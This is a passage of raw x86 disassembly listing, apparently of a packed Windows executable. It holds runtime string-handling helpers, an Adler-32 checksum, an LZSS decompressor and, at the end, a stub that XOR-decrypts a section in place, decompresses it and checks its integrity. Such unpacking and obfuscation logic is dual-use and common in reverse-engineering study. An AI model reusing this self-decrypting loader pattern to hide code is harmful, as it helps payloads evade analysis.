jmp short loc_4FCAF6 ; --------------------------------------------------------------------------- loc_4FCAD4: ; CODE XREF: sub_4FCA80+4Aj push edi push edi push ebx push offset dword_50EAFC push esi push edi call ds:dword_50E038 ; LCMapStringA test eax, eax jz loc_4FCC0E mov ds:dword_5160E8, 2 loc_4FCAF6: ; CODE XREF: sub_4FCA80+2Ej ; sub_4FCA80+52j cmp [ebp+arg_C], edi jle short loc_4FCB0B push [ebp+arg_C] push [ebp+arg_8] call sub_4FCCA4 pop ecx pop ecx mov [ebp+arg_C], eax loc_4FCB0B: ; CODE XREF: sub_4FCA80+79j mov eax, ds:dword_5160E8 cmp eax, 2 jnz short loc_4FCB32 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_50E038 ; LCMapStringA jmp loc_4FCC10 ; --------------------------------------------------------------------------- loc_4FCB32: ; CODE XREF: sub_4FCA80+93j cmp eax, 1 jnz loc_4FCC0E cmp [ebp+arg_18], edi jnz short loc_4FCB48 mov eax, ds:dword_516104 mov [ebp+arg_18], eax loc_4FCB48: ; CODE XREF: sub_4FCA80+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call ds:dword_50E044 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_4FCC0E mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_4FCD90 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4FCBA3 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4FCBA3: ; CODE XREF: sub_4FCA80+10Ej cmp [ebp+var_24], edi jz short loc_4FCC0E push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_50E044 ; MultiByteToWideChar test eax, eax jz short loc_4FCC0E push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_50E034 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_4FCC0E test byte ptr [ebp+arg_4+1], 4 jz short loc_4FCC22 cmp [ebp+arg_14], edi jz loc_4FCC9D cmp esi, [ebp+arg_14] jg short loc_4FCC0E push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_50E034 ; LCMapStringW test eax, eax jnz loc_4FCC9D loc_4FCC0E: ; CODE XREF: sub_4FCA80+66j ; sub_4FCA80+B5j ... xor eax, eax loc_4FCC10: ; CODE XREF: sub_4FCA80+ADj ; sub_4FCA80+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4FCC22: ; CODE XREF: sub_4FCA80+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4FCD90 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4FCC56 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4FCC56: ; CODE XREF: sub_4FCA80+1C2j cmp ebx, edi jz short loc_4FCC0E push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_50E034 ; LCMapStringW test eax, eax jz short loc_4FCC0E cmp [ebp+arg_14], edi push edi push edi jnz short loc_4FCC7D push edi push edi jmp short loc_4FCC83 ; --------------------------------------------------------------------------- loc_4FCC7D: ; CODE XREF: sub_4FCA80+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4FCC83: ; CODE XREF: sub_4FCA80+1FBj push esi push ebx push 220h push [ebp+arg_18] call ds:dword_50E040 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_4FCC0E loc_4FCC9D: ; CODE XREF: sub_4FCA80+165j ; sub_4FCA80+188j mov eax, esi jmp loc_4FCC10 sub_4FCA80 endp ; =============== S U B R O U T I N E ======================================= sub_4FCCA4 proc near ; CODE XREF: sub_4FCA80+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4FCCC1 loc_4FCCB4: ; CODE XREF: sub_4FCCA4+1Bj cmp byte ptr [eax], 0 jz short loc_4FCCC1 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4FCCB4 loc_4FCCC1: ; CODE XREF: sub_4FCCA4+Ej ; sub_4FCCA4+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4FCCCC sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4FCCCC: ; CODE XREF: sub_4FCCA4+21j mov eax, edx retn sub_4FCCA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FCCCF proc near ; CODE XREF: sub_4FC86E+46p ; sub_4FC9EA+17p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_4FCCED mov ecx, ds:off_511450 movzx eax, word ptr [ecx+eax*2] jmp short loc_4FCD3F ; --------------------------------------------------------------------------- loc_4FCCED: ; CODE XREF: sub_4FCCCF+10j mov ecx, eax push esi mov esi, ds:off_511450 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_4FCD12 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_4FCD1B ; --------------------------------------------------------------------------- loc_4FCD12: ; CODE XREF: sub_4FCCCF+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_4FCD1B: ; CODE XREF: sub_4FCCCF+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4FCDBF add esp, 1Ch test eax, eax jnz short loc_4FCD3B leave retn ; --------------------------------------------------------------------------- loc_4FCD3B: ; CODE XREF: sub_4FCCCF+68j movzx eax, word ptr [ebp+arg_0+2] loc_4FCD3F: ; CODE XREF: sub_4FCCCF+1Cj and eax, [ebp+arg_4] leave retn sub_4FCCCF endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_4FCD69 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4FCD69: ; CODE XREF: _5:004FCD5Ej push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4FCD90 proc near ; CODE XREF: sub_4FCA80+FDp ; sub_4FCA80+1B1p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4FCDB0 loc_4FCD9C: ; CODE XREF: sub_4FCD90+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4FCD9C loc_4FCDB0: ; CODE XREF: sub_4FCD90+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4FCD90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FCDBF proc near ; CODE XREF: sub_4FCCCF+5Ep var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50EB20 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, ds:dword_51610C xor ebx, ebx cmp eax, ebx jnz short loc_4FCE2E lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_50EB00 push esi call ds:dword_50E048 ; GetStringTypeW test eax, eax jz short loc_4FCE0C mov eax, esi jmp short loc_4FCE29 ; --------------------------------------------------------------------------- loc_4FCE0C: ; CODE XREF: sub_4FCDBF+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_50EAFC push esi push ebx call ds:dword_50E030 ; GetStringTypeA test eax, eax jz loc_4FCEF4 push 2 pop eax loc_4FCE29: ; CODE XREF: sub_4FCDBF+4Bj mov ds:dword_51610C, eax loc_4FCE2E: ; CODE XREF: sub_4FCDBF+2Fj cmp eax, 2 jnz short loc_4FCE57 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_4FCE3F mov eax, ds:dword_5160F4 loc_4FCE3F: ; CODE XREF: sub_4FCDBF+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call ds:dword_50E030 ; GetStringTypeA jmp loc_4FCEF6 ; --------------------------------------------------------------------------- loc_4FCE57: ; CODE XREF: sub_4FCDBF+72j cmp eax, 1 jnz loc_4FCEF4 cmp [ebp+arg_10], ebx jnz short loc_4FCE6D mov eax, ds:dword_516104 mov [ebp+arg_10], eax loc_4FCE6D: ; CODE XREF: sub_4FCDBF+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call ds:dword_50E044 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_4FCEF4 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_4FCD90 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_4FCF10 add esp, 0Ch jmp short loc_4FCEC3 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_4FCEC3: ; CODE XREF: sub_4FCDBF+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_4FCEF4 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_50E044 ; MultiByteToWideChar cmp eax, ebx jz short loc_4FCEF4 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_50E048 ; GetStringTypeW jmp short loc_4FCEF6 ; --------------------------------------------------------------------------- loc_4FCEF4: ; CODE XREF: sub_4FCDBF+61j ; sub_4FCDBF+9Bj ... xor eax, eax loc_4FCEF6: ; CODE XREF: sub_4FCDBF+93j ; sub_4FCDBF+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4FCDBF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4FCF10 proc near ; CODE XREF: sub_4FCDBF+EFp arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4FCF63 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4FCF57 neg ecx and ecx, 3 jz short loc_4FCF39 sub edx, ecx loc_4FCF33: ; CODE XREF: sub_4FCF10+27j mov [edi], al inc edi dec ecx jnz short loc_4FCF33 loc_4FCF39: ; CODE XREF: sub_4FCF10+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4FCF57 rep stosd test edx, edx jz short loc_4FCF5D loc_4FCF57: ; CODE XREF: sub_4FCF10+18j ; sub_4FCF10+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4FCF57 loc_4FCF5D: ; CODE XREF: sub_4FCF10+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4FCF63: ; CODE XREF: sub_4FCF10+Aj mov eax, [esp+arg_0] retn sub_4FCF10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4FCF68 proc near ; CODE XREF: sub_4FC454+13p jmp ds:dword_50E03C sub_4FCF68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FCF6E proc near ; CODE XREF: sub_4FD2E0+183p ; sub_4FD2E0+361p ; DATA XREF: ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push esi push edi mov edi, [ebp+arg_0] mov esi, edi and esi, 0FFFFh shr edi, 10h test ecx, ecx jnz short loc_4FCF90 push 1 pop eax jmp loc_4FD083 ; --------------------------------------------------------------------------- loc_4FCF90: ; CODE XREF: sub_4FCF6E+18j cmp [ebp+arg_8], 0 jbe loc_4FD07C push ebx loc_4FCF9B: ; CODE XREF: sub_4FCF6E+107j mov edx, 15B0h cmp [ebp+arg_8], edx jnb short loc_4FCFA8 mov edx, [ebp+arg_8] loc_4FCFA8: ; CODE XREF: sub_4FCF6E+35j sub [ebp+arg_8], edx cmp edx, 10h jl loc_4FD04B mov eax, edx shr eax, 4 mov ebx, eax neg ebx shl ebx, 4 add edx, ebx loc_4FCFC2: ; CODE XREF: sub_4FCF6E+D7j movzx ebx, byte ptr [ecx] add esi, ebx movzx ebx, byte ptr [ecx+1] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+2] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+3] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+4] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+5] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+6] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+7] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+8] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+9] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Ah] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Bh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Ch] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Dh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Eh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Fh] add edi, esi add esi, ebx add edi, esi add ecx, 10h dec eax jnz loc_4FCFC2 loc_4FD04B: ; CODE XREF: sub_4FCF6E+40j test edx, edx jz short loc_4FD05A loc_4FD04F: ; CODE XREF: sub_4FCF6E+EAj movzx eax, byte ptr [ecx] add esi, eax inc ecx add edi, esi dec edx jnz short loc_4FD04F loc_4FD05A: ; CODE XREF: sub_4FCF6E+DFj mov ebx, 0FFF1h mov eax, esi xor edx, edx mov esi, ebx div esi mov eax, edi mov esi, edx xor edx, edx div ebx cmp [ebp+arg_8], 0 mov edi, edx ja loc_4FCF9B pop ebx loc_4FD07C: ; CODE XREF: sub_4FCF6E+26j mov eax, edi shl eax, 10h or eax, esi loc_4FD083: ; CODE XREF: sub_4FCF6E+1Dj pop edi pop esi pop ebp retn sub_4FCF6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FD090 proc near ; CODE XREF: sub_4FD2E0+15Ep ; sub_4FD2E0+33Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_1C], ecx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_1C] mov eax, [ebp+arg_8] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] mov [ecx+8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov edx, [ebp+var_1C] mov dword ptr [edx+14h], 0 mov eax, [ebp+var_1C] mov dword ptr [eax+10h], 0 mov [ebp+var_10], 0 jmp short loc_4FD0E2 ; --------------------------------------------------------------------------- loc_4FD0D9: ; CODE XREF: sub_4FD090+65j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_4FD0E2: ; CODE XREF: sub_4FD090+47j cmp [ebp+var_10], 0FEEh jge short loc_4FD0F7 mov edx, [ebp+var_1C] add edx, [ebp+var_10] mov byte ptr [edx+18h], 20h jmp short loc_4FD0D9 ; --------------------------------------------------------------------------- loc_4FD0F7: ; CODE XREF: sub_4FD090+59j mov [ebp+var_8], 0FEEh mov [ebp+var_4], 0 loc_4FD105: ; CODE XREF: sub_4FD090:loc_4FD236j mov eax, [ebp+var_4] shr eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jnz short loc_4FD139 mov ecx, [ebp+var_1C] call sub_4FD250 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4FD130 jmp loc_4FD23B ; --------------------------------------------------------------------------- loc_4FD130: ; CODE XREF: sub_4FD090+99j mov edx, [ebp+var_C] or dh, 0FFh mov [ebp+var_4], edx loc_4FD139: ; CODE XREF: sub_4FD090+88j mov eax, [ebp+var_4] and eax, 1 test eax, eax jz short loc_4FD18A mov ecx, [ebp+var_1C] call sub_4FD250 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_4FD159 jmp loc_4FD23B ; --------------------------------------------------------------------------- loc_4FD159: ; CODE XREF: sub_4FD090+C2j mov edx, [ebp+var_C] mov ecx, [ebp+var_1C] call sub_4FD290 mov ecx, [ebp+var_1C] add ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_C] mov [ecx+18h], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 0FFFh mov [ebp+var_8], ecx jmp loc_4FD236 ; --------------------------------------------------------------------------- loc_4FD18A: ; CODE XREF: sub_4FD090+B1j mov ecx, [ebp+var_1C] call sub_4FD250 mov [ebp+var_10], eax cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_4FD1A0 jmp loc_4FD23B ; --------------------------------------------------------------------------- loc_4FD1A0: ; CODE XREF: sub_4FD090+109j mov ecx, [ebp+var_1C] call sub_4FD250 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4FD1B6 jmp loc_4FD23B ; --------------------------------------------------------------------------- loc_4FD1B6: ; CODE XREF: sub_4FD090+11Fj mov edx, [ebp+var_14] and edx, 0F0h shl edx, 4 mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_14] and ecx, 0Fh add ecx, 2 mov [ebp+var_14], ecx mov [ebp+var_18], 0 jmp short loc_4FD1E8 ; --------------------------------------------------------------------------- loc_4FD1DF: ; CODE XREF: sub_4FD090+1A4j mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_4FD1E8: ; CODE XREF: sub_4FD090+14Dj mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jg short loc_4FD236 mov ecx, [ebp+var_10] add ecx, [ebp+var_18] and ecx, 0FFFh mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+ecx+18h] mov [ebp+var_C], eax mov edx, [ebp+var_C] mov ecx, [ebp+var_1C] call sub_4FD290 mov ecx, [ebp+var_1C] add ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_C] mov [ecx+18h], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 0FFFh mov [ebp+var_8], ecx jmp short loc_4FD1DF ; --------------------------------------------------------------------------- loc_4FD236: ; CODE XREF: sub_4FD090+F5j ; sub_4FD090+15Ej jmp loc_4FD105 ; --------------------------------------------------------------------------- loc_4FD23B: ; CODE XREF: sub_4FD090+9Bj ; sub_4FD090+C4j ... mov edx, [ebp+var_1C] mov eax, [edx+10h] mov esp, ebp pop ebp retn 10h sub_4FD090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FD250 proc near ; CODE XREF: sub_4FD090+8Dp ; sub_4FD090+B6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [eax+14h] cmp edx, [ecx+8] jb short loc_4FD26A or eax, 0FFFFFFFFh jmp short loc_4FD28B ; --------------------------------------------------------------------------- loc_4FD26A: ; CODE XREF: sub_4FD250+13j mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+14h] xor edx, edx mov dl, [ecx+eax] mov eax, edx mov ecx, [ebp+var_4] mov edx, [ecx+14h] add edx, 1 mov ecx, [ebp+var_4] mov [ecx+14h], edx loc_4FD28B: ; CODE XREF: sub_4FD250+18j mov esp, ebp pop ebp retn sub_4FD250 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FD290 proc near ; CODE XREF: sub_4FD090+CFp ; sub_4FD090+17Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], edx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [eax+10h] cmp edx, [ecx+0Ch] jb short loc_4FD2AC jmp short loc_4FD2CD ; --------------------------------------------------------------------------- loc_4FD2AC: ; CODE XREF: sub_4FD290+18j mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx+10h] mov dl, byte ptr [ebp+var_8] mov [ecx+eax], dl mov eax, [ebp+var_4] mov ecx, [eax+10h] add ecx, 1 mov edx, [ebp+var_4] mov [edx+10h], ecx loc_4FD2CD: ; CODE XREF: sub_4FD290+1Aj mov esp, ebp pop ebp retn sub_4FD290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4FD2E0 proc near ; CODE XREF: _5:loc_4FD700p var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 70h push esi push edi push 0 call ds:dword_50E014 ; GetModuleHandleA mov [ebp+var_18], eax push 0D440h push 40h call ds:dword_50E010 ; LocalAlloc mov [ebp+var_8], eax mov eax, [ebp+arg_4] sub eax, 3FAh mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 4 mov [ebp+var_10], ecx mov [ebp+var_1C], 0 mov [ebp+var_44], 1 mov [ebp+var_30], 0 mov [ebp+var_3C], offset aBarier ; "BARIER" loc_4FD333: ; CODE XREF: sub_4FD2E0+98j ; sub_4FD2E0+A0j mov edx, [ebp+var_10] mov eax, [edx] imul eax, 28h mov ecx, [ebp+var_4] add ecx, eax mov edx, [ebp+var_44] imul edx, 28h sub ecx, edx mov [ebp+var_30], ecx mov eax, [ebp+var_44] add eax, 1 mov [ebp+var_44], eax mov ecx, [ebp+var_30] mov edx, [ebp+var_18] add edx, [ecx+0Ch] mov [ebp+var_40], edx mov eax, [ebp+var_30] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov edx, [ebp+var_30] add ecx, [edx+8] mov [ebp+var_2C], ecx mov eax, [ebp+var_40] cmp eax, [ebp+var_3C] ja short loc_4FD333 mov ecx, [ebp+var_3C] cmp ecx, [ebp+var_2C] jnb short loc_4FD333 mov edx, [ebp+var_40] mov [ebp+var_20], edx jmp short loc_4FD393 ; --------------------------------------------------------------------------- loc_4FD38A: ; CODE XREF: sub_4FD2E0+DAj mov eax, [ebp+var_40] add eax, 4 mov [ebp+var_40], eax loc_4FD393: ; CODE XREF: sub_4FD2E0+A8j mov ecx, [ebp+var_40] cmp ecx, [ebp+var_2C] jnb short loc_4FD3BC mov edx, [ebp+var_20] imul edx, 19660Dh add edx, 3C6EF375h mov [ebp+var_20], edx mov eax, [ebp+var_40] mov ecx, [eax] xor ecx, [ebp+var_20] mov edx, [ebp+var_40] mov [edx], ecx jmp short loc_4FD38A ; --------------------------------------------------------------------------- loc_4FD3BC: ; CODE XREF: sub_4FD2E0+B9j mov eax, [ebp+var_30] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov [ebp+var_24], ecx mov edx, [ebp+var_24] mov eax, [edx] mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] mov [ebp+var_38], edx mov eax, [ebp+var_24] mov ecx, [eax+8] mov [ebp+var_34], ecx mov edx, [ebp+var_38] push edx push 40h call ds:dword_50E010 ; LocalAlloc mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4FD400 cmp [ebp+var_38], 10000h jbe short loc_4FD411 loc_4FD400: ; CODE XREF: sub_4FD2E0+115j push 0 push 0 push 0 push 0EF0000FEh call ds:dword_50E00C ; RaiseException loc_4FD411: ; CODE XREF: sub_4FD2E0+11Ej mov ecx, [ebp+var_38] mov esi, [ebp+var_24] add esi, 0Ch mov edi, [ebp+var_1C] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_38] push eax mov ecx, [ebp+var_1C] push ecx mov ecx, [ebp+var_8] call sub_4FD090 cmp eax, [ebp+var_28] jz short loc_4FD459 push 0 push 0 push 0 push 0EF0000F8h call ds:dword_50E00C ; RaiseException loc_4FD459: ; CODE XREF: sub_4FD2E0+166j mov edx, [ebp+var_28] push edx mov eax, [ebp+var_24] push eax push 0 call sub_4FCF6E add esp, 0Ch cmp eax, [ebp+var_34] jz short loc_4FD481 push 0 push 0 push 0 push 0EF0000FAh call ds:dword_50E00C ; RaiseException loc_4FD481: ; CODE XREF: sub_4FD2E0+18Ej mov ecx, [ebp+var_1C] push ecx call ds:dword_50E008 ; LocalFree push offset aKernel32_dll_0 ; "kernel32.dll" call ds:dword_50E014 ; GetModuleHandleA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4FD4B0 push 0 push 0 push 0 push 0EF0000FDh call ds:dword_50E00C ; RaiseException loc_4FD4B0: ; CODE XREF: sub_4FD2E0+1BDj push offset aFlushinstructi ; "FlushInstructionCache" mov edx, [ebp+var_C] push edx call ds:dword_50E004 ; GetProcAddress mov ds:dword_511670, eax push offset aGetcurrentproc ; "GetCurrentProcess" mov eax, [ebp+var_C] push eax call ds:dword_50E004 ; GetProcAddress mov [ebp+var_14], eax cmp ds:dword_511670, 0 jnz short loc_4FD4F0 push 0 push 0 push 0 push 0EF0000FCh call ds:dword_50E00C ; RaiseException loc_4FD4F0: ; CODE XREF: sub_4FD2E0+1FDj call [ebp+var_14] mov ds:dword_51168C, eax mov [ebp+var_48], 0 mov [ebp+var_68], 3 mov [ebp+var_58], 0 loc_4FD50D: ; CODE XREF: sub_4FD2E0+272j ; sub_4FD2E0+27Aj mov ecx, [ebp+var_10] mov edx, [ecx] imul edx, 28h mov eax, [ebp+var_4] add eax, edx mov ecx, [ebp+var_68] imul ecx, 28h sub eax, ecx mov [ebp+var_58], eax mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_58] mov ecx, [ebp+var_18] add ecx, [eax+0Ch] mov [ebp+var_64], ecx mov edx, [ebp+var_58] mov eax, [ebp+var_18] add eax, [edx+0Ch] mov ecx, [ebp+var_58] add eax, [ecx+8] mov [ebp+var_54], eax mov edx, [ebp+var_64] cmp edx, [ebp+arg_0] jnb short loc_4FD50D mov eax, [ebp+arg_0] cmp eax, [ebp+var_54] jnb short loc_4FD50D mov ecx, [ebp+arg_0] mov [ebp+var_64], ecx mov edx, [ebp+var_64] mov [ebp+var_4C], edx mov eax, [ebp+var_64] add eax, 0Ch and al, 0FCh mov [ebp+var_64], eax jmp short loc_4FD57E ; --------------------------------------------------------------------------- loc_4FD575: ; CODE XREF: sub_4FD2E0+2C4j mov ecx, [ebp+var_64] add ecx, 4 mov [ebp+var_64], ecx loc_4FD57E: ; 